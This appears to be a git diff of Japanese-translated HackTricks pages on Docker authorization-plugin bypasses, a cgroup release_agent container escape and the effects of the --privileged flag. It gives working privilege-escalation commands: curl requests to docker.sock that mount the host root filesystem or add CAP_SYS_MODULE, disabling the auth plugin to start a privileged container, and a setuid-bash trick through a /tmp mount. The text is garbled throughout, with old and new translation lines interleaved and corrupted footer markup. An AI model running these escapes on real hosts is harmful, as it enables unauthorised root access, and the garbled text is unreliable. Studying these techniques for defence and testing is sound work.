#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -89,11 +94,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
今、ユーザーは[**以前に議論されたテクニック**](./#privileged-flag)のいずれかを使用してコンテナから脱出し、ホスト内で**特権を昇格**することができます。
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **権限を昇格させる** inside the host.
## 書き込み可能フォルダのマウント
## 書き込み可能なフォルダーをマウントする
この場合、システム管理者はユーザーに`--privileged`フラグを使用してコンテナを実行することを禁止し、コンテナに追加の権限を与えることを許可せず、`/tmp`フォルダのみをマウントすることを許可しました。
In this case the sysadmin **ユーザーが `--privileged` フラグを使用してコンテナを実行することを禁止した** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
@ -103,25 +108,25 @@ host> /tmp/bash
-p #This will give you a shell as root
```
{% hint style="info" %}
`/tmp`フォルダをマウントできない場合がありますが、**別の書き込み可能なフォルダ**をマウントすることができます。書き込み可能なディレクトリを見つけるには、次のコマンドを使用できます:`find / -writable -type d 2>/dev/null`
注意してください、`/tmp` フォルダーをマウントできないかもしれませんが、**別の書き込み可能なフォルダー**をマウントできます。書き込み可能なディレクトリを見つけるには、次のコマンドを使用します: `find / -writable -type d 2>/dev/null`
**Linuxマシンのすべてのディレクトリがsuidビットをサポートするわけではありません** suidビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"`を実行します。たとえば、通常、`/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、`/var/lib/lxcfs`はsuidビットをサポートしていません。
**Linuxマシンのすべてのディレクトリが suid ビットをサポートするわけではありません!** suid ビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"` を実行します。例えば、通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、および `/var/lib/lxcfs` は suid ビットをサポートしていません。
また、**`/etc`をマウント**したり、**構成ファイルを含む他のフォルダ**をマウントした場合、それらをdockerコンテナ内でrootとして変更して**ホストで悪用**し、特権を昇格させることができます(たとえば、`/etc/shadow`を変更することができます)
また、**`/etc`** または **設定ファイルを含む他のフォルダー****マウントできる** 場合、ホストで **悪用するために** それらを変更することができ、特権を昇格させることができます(おそらく `/etc/shadow` を変更することによって)。
{% endhint %}
## 未チェックのAPIエンドポイント
## チェックされていない API エンドポイント
このプラグインを構成するシステム管理者の責任は、各ユーザーがどのアクションをどの特権で実行できるかを制御することです。したがって、管理者がエンドポイントと属性に**ブラックリスト**アプローチを取る場合、攻撃者が**特権を昇格**させる可能性のあるいくつかのエンドポイントを**見落とす**可能性があります
このプラグインを設定する sysadmin の責任は、各ユーザーがどのアクションをどの特権で実行できるかを制御することです。したがって、管理者がエンドポイントと属性に対して **ブラックリスト** アプローチを取ると、攻撃者が **特権を昇格させる** 可能性のある **いくつかを忘れてしまう** かもしれません
Docker APIは[https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)で確認できます
Docker API を確認するに[https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) を参照してください
## 未チェックのJSON構造
## チェックされていない JSON 構造
### ルートのバインド
### ルートのバインド
システム管理者がDockerファイアウォールを構成する際に、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)の重要なパラメータである「**Binds**」を**見落とした可能性**があります。\
次の例では、この構成ミスを悪用して、ホストのルート(/)フォルダをマウントするコンテナを作成および実行することが可能です:
sysadmin が Docker ファイアウォールを設定したときに、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) の "**Binds**" のような **重要なパラメータ****忘れてしまった** 可能性があります。\
次の例では、この誤設定を悪用して、ホストのルート (/) フォルダーをマウントするコンテナを作成して実行することができます:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -132,30 +137,30 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
{% hint style="warning" %}
この例では、JSON内のルートレベルのキーとして **`Binds`** パラメータを使用していますが、APIでは **`HostConfig`** キーの下に表示されていることに注意してください。
この例では、**`Binds`** パラメータをJSONのルートレベルキーとして使用していますが、APIでは**`HostConfig`**キーの下に表示されることに注意してください。
{% endhint %}
### HostConfigのBinds
### HostConfigのBinds
**ルート内のBinds** と同じ手順に従い、Docker APIにこの **リクエスト** を実行してください:
**ルートのBinds**と同じ指示に従い、この**リクエスト**をDocker APIに対して実行します:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### ルートでのマウント
### Mounts in root
**ルートでのバインド**と同じ手順に従い、このDocker APIに対して**リクエスト**を実行します:
**Binds in root**と同じ指示に従い、Docker APIにこの**リクエスト**を実行します:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### HostConfig内のマウント
### Mounts in HostConfig
Docker APIにこの**リクエスト**を実行する際に、**rootでのバインド**と同じ手順に従ってください:
**Binds in root**と同様の指示に従い、Docker APIにこの**リクエスト**を実行します:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## 未チェックのJSON属性
## チェックされていないJSON属性
システム管理者がDockerファイアウォールを設定する際に、[API](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)の**HostConfig**内の**Capabilities**などの重要なパラメータの属性を**見落としてしまった**可能性があります。次の例では、この設定ミスを悪用して、**SYS\_MODULE**機能を持つコンテナを作成および実行することが可能です。
sysadminがdockerファイアウォールを設定した際に、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)の「**Capabilities**」のようなパラメータの**重要な属性を忘れた**可能性があります。次の例では、この誤設定を悪用して**SYS\_MODULE**権限を持つコンテナを作成して実行することが可能です:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -166,12 +171,12 @@ capsh --print
#You can abuse the SYS_MODULE capability
```
{% hint style="info" %}
**`HostConfig`**は通常、コンテナから脱出するための**興味深い権限**を含んでいるキーです。ただし、以前に議論したように、それ以外の場所でBindsを使用することも機能し、制限をバイパスすることができる可能性があります
**`HostConfig`** は、通常、コンテナから脱出するための **興味深い** **特権** を含むキーです。しかし、前述のように、これの外で Binds を使用することも機能し、制限を回避できる可能性があることに注意してください
{% endhint %}
## プラグインの無効化
**システム管理者**が**プラグイン**の**無効化**を**禁止**するのを**忘れて**いた場合、これを完全に無効化するためにこれを利用することができます!
もし **sysadmin****プラグイン****無効にする** 能力を **禁止するのを忘れた** 場合、これを利用して完全に無効にすることができます!
```bash
docker plugin list #Enumerate plugins
@ -183,25 +188,30 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
## 認証プラグインのバイパスに関する解説
Remember to **re-enable the plugin after escalating**, or a **restart of docker service wont work**!
## Auth Plugin Bypass writeups
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
## 参考文献
## References
{% hnt stye="acceas" %}
AWS ハッキング実践:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTricks AWS Red Team Expert (ARTE)**](a-size="line">[**HackTricks Training AWS Red Team**](https://github.com/sponsors/carlospolop)!haktick\_ive\
Learn & practice GCP<img src="/.gibok/asts/gte.g"lt="" aa-iz="le">[**GCP Red Team Expert**](https://github.com/sponsors/carlospolop)!haktick\_ive\
<dtil>
* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/)
<ummr>Support HackTricks</smmay>
* チェックして [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,38 +1,40 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローしてください [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
詳細については、[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)から**ブログポートをチェックしてください**。これは要約です:
さらなる詳細は、**[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**のブログポートを確認してください。これは要約に過ぎません
この技術は、Kata Containersや特定の`devicemapper`設定など、コンテナのファイルシステムパスを隠すストレージドライバ設定によって引き起こされる課題を克服し、**コンテナ内からホストコードを実行する方法**を概説しています。
この技術は、**コンテナ内からホストコードを実行する方法**を概説しており、Kata Containersや特定の`devicemapper`設定のように、ホスト上のコンテナのファイルシステムパスを隠すストレージドライバ設定によって引き起こされる課題を克服します。
主なステップ:
1. **プロセスIDPIDの特定** Linux似ファイルシステム内の`/proc/<pid>/root`シンボリックリンクを使用すると、コンテナ内の任意のファイルにホストのファイルシステムからアクセスできます。これにより、ホスト上のコンテナのファイルシステムパスを知る必要がなくなります。
2. **PID Bashing** ホスト上のPIDを検索するために総当たりアプローチが採用されます。これは、`/proc/<pid>/root/<file>`で特定のファイルの存在を順次チェックすることによって行われます。ファイルが見つかった場合、対応するPIDがターゲットコンテナ内で実行されているプロセスに属していることを示します。
3. **実行のトリガー:** 推測されたPIDパスが`cgroups release_agent`ファイルに書き込まれます。このアクションにより`release_agent`の実行がトリガーされます。このステップの成功は、出力ファイルの作成を確認することで確認されます。
1. **プロセスIDPIDの特定** Linuxの擬似ファイルシステム内の`/proc/<pid>/root`シンボリックリンクを使用して、コンテナ内の任意のファイルにホストのファイルシステムに対して相対的にアクセスできます。これにより、ホスト上のコンテナのファイルシステムパスを知る必要がなくなります。
2. **PIDバッシング:** ホスト上のPIDを検索するためにブルートフォースアプローチが採用されます。これは、`/proc/<pid>/root/<file>`に特定のファイルの存在を順次確認することによって行われます。ファイルが見つかると、それは対応するPIDがターゲットコンテナ内で実行されているプロセスに属していることを示します。
3. **実行のトリガー:** 推測されたPIDパスが`cgroups release_agent`ファイルに書き込まれます。このアクションは`release_agent`の実行をトリガーします。このステップの成功は、出力ファイルの作成を確認することで確認されます。
### 悪用プロセス
### 攻撃プロセス
悪用プロセスには、コンテナ内で実行されているプロセスの正しいPIDを推測してホスト上でペイロードを実行するためのより詳細な一連のアクションが含まれています。以下は、その展開方法です:
攻撃プロセスは、コンテナ内で実行されているプロセスの正しいPIDを推測してホスト上でペイロードを実行することを目的とした、より詳細な一連のアクションを含みます。以下のように展開されます:
1. **環境の初期化:** ペイロードスクリプト(`payload.sh`)がホスト上で準備され、cgroup操作のためのユニークなディレクトリが作成されます。
2. **ペイロードの準備:** ペイロードスクリプトには、ホストで実行されるコマンドが含まれ、実行可能になります。
3. **Cgroupの設定** cgroupがマウントされ、構成されます。`notify_on_release`フラグが設定され、cgroupがリリースされるとペイロードが実行されるようになります。
4. **PIDの総当たり:** ループが潜在的なPIDを繰り返し、推測された各PIDを`release_agent`ファイルに書き込みます。これにより、ペイロードスクリプトが`release_agent`として設定されます。
5. **トリガーと実行の確認:** 各PIDに対して、cgroupの`cgroup.procs`に書き込み、PIDが正しい場合は`release_agent`の実行がトリガーされます。ペイロードスクリプトの出力が見つかるまでループが続行され、成功した実行を示します。
1. **環境の初期化:** ホスト上にペイロードスクリプト(`payload.sh`が準備され、cgroup操作のためのユニークなディレクトリが作成されます。
2. **ペイロードの準備:** ホスト上で実行されるコマンドを含むペイロードスクリプトが作成され、実行可能にされます。
3. **Cgroupの設定** cgroupがマウントされ、設定されます。`notify_on_release`フラグが設定され、cgroupが解放されるとペイロードが実行されるようにします。
4. **PIDのブルートフォース:** ループが潜在的なPIDを反復し、各推測されたPIDを`release_agent`ファイルに書き込みます。これにより、ペイロードスクリプトが`release_agent`として設定されます。
5. **実行のトリガーと確認:** 各PIDについて、cgroupの`cgroup.procs`に書き込まれ、PIDが正しい場合に`release_agent`の実行がトリガーされます。ペイロードスクリプトの出力が見つかるまでループは続き、成功した実行を示します。
ブログポストからのPoC
ブログ投稿からのPoC:
```bash
#!/bin/sh
@ -92,16 +94,19 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,32 +1,39 @@
# Docker --privileged
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 影響
## 影響するもの
特権付きコンテナとしてコンテナを実行すると、次の保護が無効になります:
特権コンテナを実行すると、無効にする保護は次のとおりです。
### /devマウント
### /devマウント
特権付きコンテナでは、すべての**デバイスに `/dev/` でアクセス**できます。そのため、ホストのディスクを**マウント**して**脱出**することができます。
特権コンテナでは、すべての**デバイスが`/dev/`でアクセス可能です**。したがって、ホストのディスクを**マウント**することで**エスケープ**できます。
{% tabs %}
{% tab title="デフォルトコンテナ内" %}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{% endtab %}
{% tab title="特権コンテナ内" %}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -36,11 +43,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
{% endtab %}
{% endtabs %}
#### 読み取り専用のカーネルファイルシステム
### 読み取り専用のカーネルファイルシステム
カーネルファイルシステムは、プロセスがカーネルの動作を変更する仕組みを提供します。ただし、コンテナプロセスの場合、カーネルに変更を加えることを防ぎたいです。したがって、コンテナ内でカーネルファイルシステムを**読み取り専用**でマウントし、コンテナプロセスがカーネルを変更できないようにします。
カーネルファイルシステムは、プロセスがカーネルの動作を変更するためのメカニズムを提供します。しかし、コンテナプロセスに関しては、カーネルに対する変更を防ぎたいと考えています。したがって、カーネルファイルシステムをコンテナ内で**読み取り専用**としてマウントし、コンテナプロセスがカーネルを変更できないようにします。
{% tabs %}
{% tab title="デフォルトコンテナ内" %}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -49,22 +60,26 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{% endtab %}
{% tab title="特権コンテナ内" %}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{% endtab %}
{% endtabs %}
### カーネルファイルシステムのマスキング
**/proc**ファイルシステムは選択的に書き込み可能ですが、セキュリティのため、一部の部分は**tmpfs**でオーバーレイされ、コンテナプロセスが機密領域にアクセスできないように読み書きアクセスが遮断されています。
**/proc** ファイルシステムは選択的に書き込み可能ですが、セキュリティのために、特定の部分は **tmpfs** でオーバーレイされ、コンテナプロセスが機密領域にアクセスできないように保護されています。
{% hint style="info" %}
**tmpfs**は仮想メモリにすべてのファイルを保存するファイルシステムです。tmpfsはハードドライブにファイルを作成しません。したがって、tmpfsファイルシステムをアンマウントすると、その中にあるすべてのファイルが永遠に失われます。
**tmpfs** はすべてのファイルを仮想メモリに保存するファイルシステムです。tmpfs はハードドライブにファイルを作成しません。したがって、tmpfs ファイルシステムをアンマウントすると、その中に存在するすべてのファイルは永遠に失われます。
{% endhint %}
{% tabs %}
{% tab title="デフォルトコンテナ内" %}
{% tab title="デフォルトコンテナ内" %}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@ -74,22 +89,24 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{% endtab %}
{% tab title="特権コンテナ内" %}
{% tab title="特権コンテナ内" %}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
{% endtab %}
{% endtabs %}
#### Linux capabilities
### Linuxの能力
コンテナエンジンは、コンテナを**デフォルトで内部で何が起こるかを制御するために、制限された数の機能で起動します。特権を持つものは、すべての**機能\*\*にアクセスできます。機能について学ぶには、以下を参照してください:
コンテナエンジンは、デフォルトでコンテナ内で何が行われるかを制御するために、**限られた数の能力**でコンテナを起動します。**特権**のあるものは、**すべての** **能力**にアクセスできます。能力について学ぶには、次を読んでください:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="デフォルトコンテナ内" %}
{% tab title="デフォルトコンテナ内" %}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -100,7 +117,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
```
{% endtab %}
{% tab title="特権コンテナ内" %}
{% tab title="特権コンテナ内" %}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -112,16 +129,18 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
{% endtab %}
{% endtabs %}
コンテナで利用可能な機能を`--privileged`モードで実行せずに、`--cap-add`および`--cap-drop`フラグを使用して操作することができます。
コンテナに対して `--privileged` モードで実行せずに、`--cap-add` および `--cap-drop` フラグを使用して利用可能な機能を操作できます。
#### Seccomp
### Seccomp
**Seccomp**は、コンテナが呼び出すことができる**syscalls**を**制限**するのに役立ちます。 Dockerコンテナを実行する際にはデフォルトでseccompプロファイルが有効になっていますが、特権モードでは無効になります。Seccompについて詳しくはこちらを参照してください:
**Seccomp** は、コンテナが呼び出すことができる **syscalls****制限** するのに役立ちます。デフォルトの seccomp プロファイルは、docker コンテナを実行する際にデフォルトで有効ですが、特権モードでは無効になります。Seccomp についての詳細はこちらをご覧ください:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="Inside default container" %}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
@ -130,7 +149,7 @@ Seccomp_filters: 1
```
{% endtab %}
{% tab title="特権コンテナ内" %}
{% tab title="特権コンテナ内" %}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
@ -139,48 +158,42 @@ Seccomp_filters: 0
```
{% endtab %}
{% endtabs %}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
また、Dockerまたは他のCRIsが**Kubernetes**クラスターで使用される場合、**seccompフィルターはデフォルトで無効**になります。
また、**Kubernetes** クラスターで Dockerまたは他の CRIを使用する場合、**seccomp フィルターはデフォルトで無効**になっていることに注意してください。
### AppArmor
**AppArmor**は、**プログラムごとのプロファイル**を使用して**コンテナ**を**限られた**リソースに制限するためのカーネルの拡張機能です。`--privileged`フラグを使用して実行すると、この保護が無効になります。
**AppArmor** は、**コンテナ** を **制限された** **リソース****セット** に制限するためのカーネル拡張で、**プログラムごとのプロファイル**を使用します。`--privileged` フラグを使用して実行すると、この保護は無効になります。
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
{% endcontent-ref %}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
`--privileged` フラグを使用してコンテナを実行すると、**SELinux ラベル**が無効になり、通常 `unconfined`ようなコンテナエンジンのラベルを継承し、コンテナエンジンと同様の完全アクセスが付与されます。ルートレスモードでは `container_runtime_t` を使用し、ルートモードでは `spc_t` が適用されます。
`--privileged` フラグを使用してコンテナを実行すると、**SELinux ラベル**が無効になり、通常 `unconfined` のコンテナエンジンのラベルを継承し、コンテナエンジンと同様のフルアクセスが付与されます。ルートレスモードでは `container_runtime_t` が使用され、ルートモードでは `spc_t` が適用されます。
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
{% endcontent-ref %}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## 影響を受けないもの
### 名前空間
### ネームスペース
名前空間は`--privileged`フラグの影響を受けません。セキュリティ制約が有効になっていないにもかかわらず、**システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは、\*\*`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`\*\*のコンテナエンジンフラグを使用して個々の名前空間を無効にできます。
ネームスペースは **`--privileged` フラグの影響を受けません**。セキュリティ制約が有効になっていないにもかかわらず、**システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** コンテナエンジンフラグを使用して、個々のネームスペースを無効にすることができます。
{% tabs %}
{% tab title="デフォルトの特権付きコンテナ内" %}
{% tab title="デフォルトの特権コンテナ内" %}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
@ -190,7 +203,7 @@ PID USER TIME COMMAND
```
{% endtab %}
{% tab title="ホスト内 --pid=host コンテナ" %}
{% tab title="内 --pid=host コンテナ" %}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
@ -205,20 +218,23 @@ PID USER TIME COMMAND
### ユーザー名前空間
**デフォルトでは、コンテナエンジンはユーザー名前空間を利用しません。ただし、ルートレスコンテナでは、ファイルシステムのマウントや複数のUIDの使用に必要とされるため、ユーザー名前空間が使用されます。** ルートレスコンテナには不可欠であり、特権を制限することでセキュリティを大幅に向上させます。
